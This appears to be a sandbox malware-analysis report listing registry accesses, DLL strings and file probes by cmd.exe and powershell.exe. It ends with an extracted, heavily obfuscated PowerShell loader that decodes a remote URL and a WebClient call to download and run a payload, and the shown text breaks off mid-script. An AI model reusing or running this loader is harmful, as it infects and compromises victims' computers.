string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006720-00000C2A-1072149476] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006720-00000C2A-1072415951] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006720-00000C2A-1072526493] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006720-00000C2A-1072824643] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006720-00000C2A-1072868106] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006720-00000C2A-1073207966] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00006720-00000C2A-1073282671] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006720-00000C2A-1073291216] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006720-00000C2A-1073331207] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006720-00000C2A-1073369763] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00006720-00000C2A-1073422469] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00006720-00000C2A-1073655940] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00006720-00000C2A-1073962160] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll" [Source: 00000000-00006720-00000C2A-1074072843] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00006720-00000C2A-1074109151]3d:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")3e:T30d3,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004824.00000000.133271.02C00000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004824.00000000.133271.02CE9000.00000004.mdmp "System\CurrentControlSet\Control\Nls\RegionMapping" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "System\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Microsoft\PowerShell\" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "SOFTWARE\Microsoft\.NETFramework\AppContext" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WSMAN" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\3\PowerShellEngine" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\Transcription" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ConsoleSessionConfiguration" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Time Zones\Pacific Standard Time\Dynamic DST" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment" in Source: 00000000-00004824.00000000.133271.04CE0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004824.00000001.135190.02C00000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004824.00000001.135190.02CE9000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004824.00000001.135190.047A0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00004824.00000001.135190.07550000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00004824.00000001.135190.07550000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00004824.00000001.135190.07550000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004824.00000002.137113.00381000.00000020.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004824.00000002.137113.02CE9000.00000004.mdmp "Read?HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004824.00000002.137113.047A0000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{423EC01E-2E35-11D2-B604-00104B703EFD}" in Source: 00000000-00004824.00000002.137113.07550000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}" in Source: 00000000-00004824.00000002.137113.07550000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00004824.00000002.137113.07550000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00004824.00000002.137113.6E741000.00000020.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00004824.00000002.137113.6E741000.00000020.mdmp "HKLM\" in Source: 00000000-00004824.00000002.137113.6E741000.00000020.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00004824.00000002.137113.6E741000.00000020.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00004824.00000002.137113.6E741000.00000020.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006720.00000000.132585.71850000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006720.00000000.132585.71850000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006720.00000000.132585.71850000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006720.00000000.132585.71850000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider Types\Type 024" in Source: 00000000-00006720.00000000.132585.73B30000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006720.00000000.132585.73B30000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00006720.00000000.132585.74290000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00006720.00000001.132984.71850000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00006720.00000001.132984.7190C000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006720.00000001.132984.7190C000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00006720.00000001.132984.7190C000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00006720.00000001.132984.73B30000.00000004.mdmp "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}\LocalServer32" in Source: 00000000-00006720.00000001.132984.73B30000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}\LocalServer32C46F" in Source: 00000000-00006720.00000001.132984.73B30000.00000004.mdmp "E\SOFTWARE\Microsoft\.NETFramework" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00020422-0000-0000-C000-000000000046}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020401-0000-0000-C000-000000000046}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{1C1C45EE-4395-11D2-B60B-00104B703EFD}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{00020400-0000-0000-C000-000000000046}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00020420-0000-0000-C000-000000000046}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\Interface\{027947E1-D731-11CE-A357-000000000001}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}" in Source: 00000000-00006720.00000001.132984.742CE000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32" in Source: 00000000-00006720.00000001.132984.74379000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{9BA05972-F6A8-11CF-A442-00A0C90A8F39}\InprocServer32" in Source: 00000000-00006720.00000001.132984.74379000.00000004.mdmp "Software\Classh" in Source: 00000000-00006720.00000001.132984.74379000.00000004.mdmp "ProgramW6432\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00006720.00000001.132984.74379000.00000004.mdmp "PUBLIC=C:\Users\Pu\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{9" in Source: 00000000-00006720.00000001.132984.74379000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00006720.00000001.132984.F80BA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00006720.00000001.132984.F80BA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00006720.00000001.132984.F80BA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00006720.00000001.132984.F80BA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00006720.00000001.132984.F80BA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00006720.00000001.132984.F80BA000.00000002.mdmp3f:Ta58,"cmd.exe" trying to access non-existent file "C:\POWERSHELL.EXE" "cmd.exe" trying to access non-existent file "C:\powershell.exe" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll"40:Ta9c,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION\PUBLISHERPOLICY\DEFAULT\POLICY.4.0.SMDIAGNOSTICS__B77A5C561934E089") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\ENVIRONMENT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DEFAULTS\PROVIDER\MICROSOFT ENHANCED RSA AND AES CRYPTOGRAPHIC PROVIDER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\DESHASHSESSIONKEYBACKWARD") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\WINTRUST\TRUST PROVIDERS\SOFTWARE PUBLISHING") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPUBLISHER\SAFER") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPUBLISHER\SAFER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPUBLISHER\SAFER") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\PHYSICALSTORES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED")41:Tabc7,Script name: na contents: mv 'nonresilience';function Actinism ($radionecrosis252='garrafa'){ $futurable=3;do {$befolkningseksplosions+=$radionecrosis252[$futurable];$futurable+=4;$escapingly=Get-Date}<#bambushytters henvendelserne Flower #>until (!$radionecrosis252[$futurable]);$befolkningseksplosions}function Irremovableness ($undermelodies){.$breaks ($undermelodies)}$charioteers=Actinism ' rrTooolq qsccc1 mm2';$skifflegrupperne=Actinism 'DDDn!!!E;;.T cc. ;;w Ie';$sympodia=[Nullable[int]]0;$skifflegrupperne+=Actinism '??,B aac!!!L ::IDDDecccNJJJt';$upopulrere=Actinism 'vvvM|||o y,z & iVVVlWWWliiia////';$honeyed115=' QQ[___n%%%EzzzTggg.GGGSEEEEDDDr+++Vn nImm.Cfffe,zzpaaao RRi ^Nhhhtooom>>>a ||N IIAmmmg^^ E.**rD.D] YY:XXX:QQQS ,dEpppC ddUpppR;;;i YYtUU.ymmmPLLLRxxxoa at& &o---C ccoy yL:: =& &$IIIcDDDhjjja VVR zzI---o,UUt + E = e|||r&&&S';$upopulrere+=Actinism ',||5 ~~.r.r0.ZZ p.p(!!!WRRRiLLLn < >0iii0PPP1%%.0G G1 ,W ZZF ggiaaarBBBe ~~fGGGo ; x K / gg1RRR4iii4yyy. ##0';$uneradicated=Actinism 'sssuxx s???eRRRR ff-cccA/ /GG.GEmm,Neeet';$stonewall=Actinism 'HHHh PPtWWWt QQpEEEsSSS:qq / VV/qqqbyyya* *f VVy AAb **e;;;i QQbtttqkkkyEEEv --eWWWwDDDh ##o ^,s===3HHHvXXXneeehIII3CCCvzzzk.bbi eei***yZ Z4eeekvvvrXXXr AAnEEEg-.-3HHHdhhhpqqqn^^^5 HHcD,D2 VVvAAAw .oe EEidddaqqq5 **m,HHdQ.QfSS inn xhhhs^^^eTTTt bug,gtZZZ7???t iczzze=.=.HHHi,zzpaaaf //sYYY.hhhw.jj3 %s ww.v vl XXi.--nS.Sk jj/YYYIM MmGGGagg.gsssiwwwn &&e xxr iisccc.>> a_ _sfffi';$reinvesteringen112=Actinism ' ,z>';$breaks=Actinism ' ZZIss.E ! X';$hjernetrusts='nurtureless';$ahrendahronon95='\Archaeogeology.Mrk';Irremovableness (Actinism ' vv$qqqpG GEww DMMMI,OOPU UA+++LyyyPaaas PP= aa0 pp;hhh$wwwG bblYYYOSSSB~ ~A>>>LSSS:aa a<<>luuuoJJJg<<>>h OOR,ccoA An ^^O uuNX X9VVV5');Irremovableness (Actinism 'Z Z$FF p<,>:DDDA CCbIIIsUUUO&&&r #.BFFFes sRd de GG=x.x$ ||sSSSTdddO llNDD.eLLLw/./AUUUL###LVVV. ==s DDP;;;LyyyIqqqt rr(l l$iiiRCC esssI CCnooov^^^E tSgggt%%%E !!r //IaaaN IIgtttE___nMMM1fff1qqq2JJJ)');Irremovableness (Actinism $honeyed115);$tussucks2='fremkomsters';$stonewall=$absorbere[$sympodia];$buhkos='semispinalis';$strandage=(Actinism 'mm $>>>Paaae+++D o ia aplllA wwL h P ++s<<<= Y 0rrr;###$ rg ttl CCo M BaaaaPPPLM.M:== F PPo --rXXXV U E p.n --tNNNEmm l eeizzzG===e###SAAA=YYYNeeeE uuWeee-bbbo+++BDDDju.ue vvc|||t ww ***sSSSYww s __TfffeWWWmYYY. MM$qqqsqqqk JJICCCfuuuf wwL;;;EeeeG ??rC Cu!!!p wwP kkeSSSRTTTn rre');Irremovableness ($strandage);Irremovableness (Actinism 'S S$ Nf **oBB rTTTv .CePP n***t GGe RRlVVViXXXgZZZe CCs---.??.H!!!e <gfffe --slll.ccc$FFFr ++eSSSsX.XtXX o LLrDDDeSSSsCCC.uuuI% %nfffv bbopppk K ejjj( ll$,WWs.UUtMMMoBBBn .he.TTw ,TaiiilbbblII ,uuu$###o***rccct UUh!.!o***g! !r llaaaan >>i VVt- -eNNN)';$orthogranite=$agrobiological;mv 'hjlpeskrmen';Irremovableness (Actinism ' **$ ??Pzz eHHHDNNNIhh PSS ammmLpppPd dSh.h=:::0x x;GGG$mm G h lJJJoEEEbs sAkkkL D: hhS ddaDDDd JJdSSSE_._l ||Tjjja oog rressst!!!= r.(rrrtdddE ;;SiiiTlll-RRRPQQQaiiitg.gh m, lll$ xxo&&,ry ytXX HHHHO ~~G *RSSSAAA nI IiXXXTDDDED.D)');mv 'simultanpartiernes';while ((!$saddeltaget)) {Irremovableness (Actinism 'NNN$vvvpVVVe ^d ||i;;;p ||a== l NpEEEsEEE=~~~0ww ;yyy$!!!gww lbb.oXX b== a;;;leee:bbbD zziq qfyyyf > uVV s+++i ++o KKn___sPPPlq qi |nMMMs%%%e PPrkkkn%%%e HH=S S$###tYYYrWWWiPPPa jjd ;;iII sp pt') ;Irremovableness $husdyrbrugets;Irremovableness (Actinism 'HHH[q qt v.hAAArWWWEe eAxxxd###IVVVNQQQGjjj.###tNNNH***r^^^egggA vvD^^^]RRR:OOO: vs###l---eEEEE: :pPPP(###3F.F7eee5/./0 WW)');Irremovableness (Actinism 'OOO$ TTPddde <>=YYY0d d; ~~$pppg >>l LLOcc b~~ AqqqL::::fffdlllA|||m GGE LLvxxxe nnNdddN ??E ||R XXnTTTeVVVS===7HHH2yyy=bbb$%%%GaaaL %%Ogggbo.oARRRl&&&:__ T ^^A //l .NL .WehhhrO OkBBBEcccn WWr>>>E&&&T SSTl lE ++N --sooo+aa +| |%mmm$ ddA %%BmmmS jjONNNr kkB xxecccR 